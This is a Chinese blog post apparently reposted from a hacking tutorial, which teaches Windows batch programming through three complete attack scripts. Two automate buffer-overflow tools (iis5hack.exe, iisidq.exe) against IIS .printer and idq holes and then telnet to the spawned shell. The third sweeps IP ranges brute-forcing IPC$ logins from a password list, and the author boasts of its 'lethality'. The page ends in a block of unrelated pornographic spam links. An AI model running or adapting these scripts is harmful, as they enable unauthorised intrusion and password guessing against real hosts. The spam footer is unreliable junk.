<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    Decode360's Blog

    業精于勤而荒于嬉 QQ:150355677 MSN:decode360@hotmail.com

      BlogJava :: 首頁 :: 新隨筆 :: 聯系 ::  :: 管理 ::
      397 隨筆 :: 33 文章 :: 29 評論 :: 0 Trackbacks
    批處理編程(4)完整案例
    ?
    ?
    現在我們把之前這些用法結合起來詳細的分析一下目前網上發布的一些批處理,看看他們是怎么運作的。這里我將列舉三個例子來詳細分析,為了保持程序的完整我的注釋會加在/*后面。
    ?
    ?
    案例1
    ?
    這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢出的批處理。用到的程序有iis5hack.exe和系統自帶的telnet.exe。iis5hack的命令格式為:
    iis5hack <目標ip> <目標端口> <目標版本> <溢出連接端口>
    ?
    ?目標版本為0-9這10個數字分別對應不同語言版本和sp的系統版本,我們編制的批處理使用的命令格式為 <iis.bat 目標ip (開始版本號)>開始版本號可有可無。程序如下:
    ?
    @echo off /*關閉命令回顯
    if "%1%"=="" goto help /*判斷%1是否為空,%1為目標ip
    if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉標志1
    if "%2%"=="2" goto 2 /*%2為開始版本號,如果沒有設置則
    if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執行
    if "%2%"=="4" goto 4
    if "%2%"=="5" goto 5
    if "%2%"=="6" goto 6
    if "%2%"=="7" goto 7
    if "%2%"=="8" goto 8
    if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行標志file段內容
    ping %1 -n 1 | find "Received = 1" /*ping目標1次,從結果中發現Received = 1
    if errorlevel 1 goto error /*如果返回代碼為1則執行error段(代碼1為沒有發現 0為發現并成功執行)
    iis5hack %1 80 9 88 | find "good" /*開始溢出目標端口80 系統代碼9 溢出后連接端口88 在執行結果中發現字符串”good”(溢出成功后才會有字符串good)
    if not errorlevel 1 goto telnet /*如果沒有錯誤代碼1(溢出成功)就執行telnet段的內容。
    echo 操作系統類型 9 失敗! /*否則顯示這一句
    :8 /*以下代碼內容參照上面
    iis5hack %1 80 8 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 8 失敗!
    :7
    iis5hack %1 80 7 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 7 失敗!
    :6
    iis5hack %1 80 6 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 6 失敗!
    :5
    iis5hack %1 80 5 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 5 失敗!
    :4
    iis5hack %1 80 4 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 4 失敗!
    :3
    iis5hack %1 80 3 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 3 失敗!
    :2
    iis5hack %1 80 2 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 2 失敗!
    :1
    iis5hack %1 80 1 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 1 失敗!
    :0
    iis5hack %1 80 0 88 | find "good"
    if not errorlevel 1 goto telnet
    echo 操作系統類型 0 失敗!
    goto error
    :telnet
    telnet %1 88 /*開始連接目標ip的88端口
    goto exit /*連接中斷后跳轉exit段
    :error /*error段顯示錯誤后的幫助信息
    echo 可能網絡不能連接或者對方以修補該漏洞!請按照下面的格式手工嘗試一次!
    echo iis5hack [目標IP] [WEB端口] [系統類型] [開放端口]
    ECHO 中文: 0
    ECHO 中文+sp1: 1
    ECHO 英文: 2
    ECHO 英文+sp1: 3
    ECHO 日語: 4
    ECHO 日語+sp1: 5
    ECHO 韓文: 6
    ECHO 韓文+sp1: 7
    ECHO 墨西哥語: 8
    ECHO 墨西哥語+sp1: 9
    goto exit /*跳轉exit段
    :file /*file段顯示文件沒有發現的信息
    echo 文件iis5hack.exe沒有發現!程序終止運行!
    goto exit /*跳轉exit段
    :help /*help段顯示本批處理的使用格式幫助
    echo 本程序用法如下:
    echo iis [目標ip]
    echo iis [目標ip] [開始的號碼9-0]
    :exit /*exit段為程序出口
    ?
    這個批處理基本沒有什么循環只是一路走下來。所以代碼比較長難度不大!
    ?
    ?
    案例2
    ?
    這個例子是用iisidq.exe對有idq漏洞的機器進行溢出的批處理。使用的程序有iisidq.exe和系統自帶的程序telnet.exe。iisidq.exe的用法如下:
    ?
    運行參數: 操作系統類型 目的地址 web端口 1 溢出監聽端口 <輸入命令1>
    其中,如果輸入命令參數沒有輸入,那么,默認為:"cmd.exe"。
    其中操作系統類型類型的代碼范圍是0-14。我們編制的批處理使用的命令格式為 <idq.bat 目標ip>程序如下:
    ?
    @echo off /*同例一
    if not EXIST iisidq.exe goto file /*同例一
    if %1 == "" goto error /*同例一
    ping %1 -n 1 | find "Received = 1" /*同例一
    if errorlevel 1 goto error1 /*同例一
    set b=%1 /*創建一個環境變量b,將變量%1的內容傳遞給環境變量b。變量b的內容以后將是目標i
    set a=0 /*創建一個環境變量a并指定環境變量a為0。由于使用整個批處理的循環所以用a來做計數器。
    :no /*no段開始
    if %a%==0 set d=0 /*如果環境變量a=0則創建環境變量d設定環境變量d=0。
    if %a%==1 set d=1 /*環境變量d其實是操作系統類型代碼,用計數器來控制其
    if %a%==2 set d=2 /*變動。
    if %a%==3 set d=3
    if %a%==4 set d=4
    if %a%==5 set d=5
    if %a%==6 set d=6
    if %a%==7 set d=7
    if %a%==9 set d=9
    if %a%==10 set d=13
    if %a%==11 set d=14
    goto 0 /*變量傳遞完成后轉到標志0處運行
    :1
    echo 正在執行第%d%項!與目標%b%不能連接!正在嘗試連接請等候......
    :0 /*標志0開始
    IISIDQ %d% %b% 80 1 99 |find "good" /*按格式發送溢出命令并在結果中發現字符串good(發送代碼成功才會有字符串good)
    if errorlevel 1 goto 1 /*如果沒有good字符串則沒有發送成跳
    /*轉標志1處繼續嘗試發送
    ping 127.0.0.1 -n 8 >nul /*ping自己8次相當于延時8秒不顯示執
    /*行結果
    echo 正在執行第%d%項! /*報告正在溢出的操作系統類型
    telnet %b% 99 /*連接溢出端口
    echo. /*顯示一個空行
    if %d%==14 goto error1 /*如果操作系統類型為14則跳轉error1處(循環出口)
    if %d%==13 set a=11 /*開始用計數器對操作系統代碼重新附值
    if %d%==9 set a=10
    if %d%==7 set a=9
    if %d%==6 set a=7
    if %d%==5 set a=6
    if %d%==4 set a=5
    if %d%==3 set a=4
    if %d%==2 set a=3
    if %d%==1 set a=2
    if %d%==0 set a=1
    goto no /*附值完成跳轉no段執行
    :file /*以下都是出錯后的幫助提示
    echo IIsidq.exe沒有發現!將該文件和本文件放在同一目錄!
    goto exit
    :error
    echo 錯誤!目標ip不可識別!請使用下面的格式連接!
    echo idq [目標IP]
    goto exit
    :error1
    echo 連接沒有成功!可能目標機器已經修補了該漏洞或者網絡故障所至!
    echo 請按照下面的格式手工嘗試!
    echo iisidq [目標類型] [目標IP] [目標端口] [連接方式] [溢出端口]
    echo telnet [目標ip] [溢出端口]
    :exit /*整個程序的出口
    ?
    這個批處理采用的整體循環掌握好計數器部分就掌握了這個批處理。
    ?
    ?
    案例3
    ?
    for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use file://%251.%25%25a.%25%25b.%25%25c/ipc$ %%e /u:%%f
    ?
    上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C:\>TEST.BAT 218 當輸入218回車后該命令會由第1個for取初始值0為%%a然后繼續取第2個for的初始值0為%%b繼續取第3個for的初始值1為%%c最后一個 for是將userpass.txt中的第一段字符作為密碼%%e第二段字符作為用戶名%%f最后執行命令 (這里我把上面的值都帶進去,設密碼為123 用戶名為 abc)
    ?
    net usr \\218.0.0.1\ipc$ 123 /u:abc
    ?
    當然上面這個例子可能有些朋友會說太簡單并且太死板不靈活。我把這個例子做了些修改(完整文件見光盤ipc.bat)由興趣的朋友可以自己看看。修改后的程序可以靈活的查找你指定開始到結束或你指定開始到最大ip的范圍。當然功能還可以在加強,至于能加強到什么地步能不能成為一個新的工具那就是你的事了。
    ?
    這個的循環動作大了點主要是ip的數字替換麻煩所以沒辦法。這個批處理我就不寫注釋了,大家好好的參考上面的內容你會很快看懂這個批處理的。看懂了得不要說簡單哦!最起碼這是個沒有使用任何第三方工具就能探測并保存弱口令的批處理了!!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測試通過最大的優點就是只有一個批處理文件并且絕對不會誤報。缺點就是太長
    ?
    ?
    posted on 2009-06-05 22:06 decode360 閱讀(266) 評論(0)  編輯  收藏 所屬分類: 02.Windows
    主站蜘蛛池模板: 亚洲av日韩综合一区在线观看| 亚洲无人区一区二区三区| 久久久久亚洲AV片无码下载蜜桃| 黄色网址免费在线观看| 三上悠亚亚洲一区高清| 韩国免费A级毛片久久| 亚洲午夜久久久久久久久电影网 | av无码免费一区二区三区| 亚洲男人都懂得羞羞网站| 国产精品免费观看调教网| 久久精品亚洲一区二区三区浴池 | 亚洲视频在线观看免费视频| 亚洲经典在线观看| 中国人xxxxx69免费视频| 67194在线午夜亚洲| 色视频色露露永久免费观看| 亚洲AV无码国产精品永久一区| 国产真人无遮挡作爱免费视频| 黄页网站在线视频免费| 国产成人亚洲精品影院| 最近免费中文字幕MV在线视频3| 亚洲精品线在线观看| 18勿入网站免费永久| 亚洲一区二区无码偷拍| 亚洲国产精品碰碰| 免费的全黄一级录像带| 亚洲黄网在线观看| 国产无遮挡裸体免费视频| 九九99热免费最新版| 91亚洲国产成人久久精品| 成人免费无码精品国产电影| 久久国产精品免费一区| 亚洲最大在线观看| 亚洲av高清在线观看一区二区| A级毛片高清免费视频在线播放| 亚洲午夜久久久久久尤物| 国产中文字幕免费| 日韩中文字幕免费视频| 久久亚洲AV成人无码国产电影| 亚洲AV午夜成人片| 国产伦精品一区二区三区免费下载 |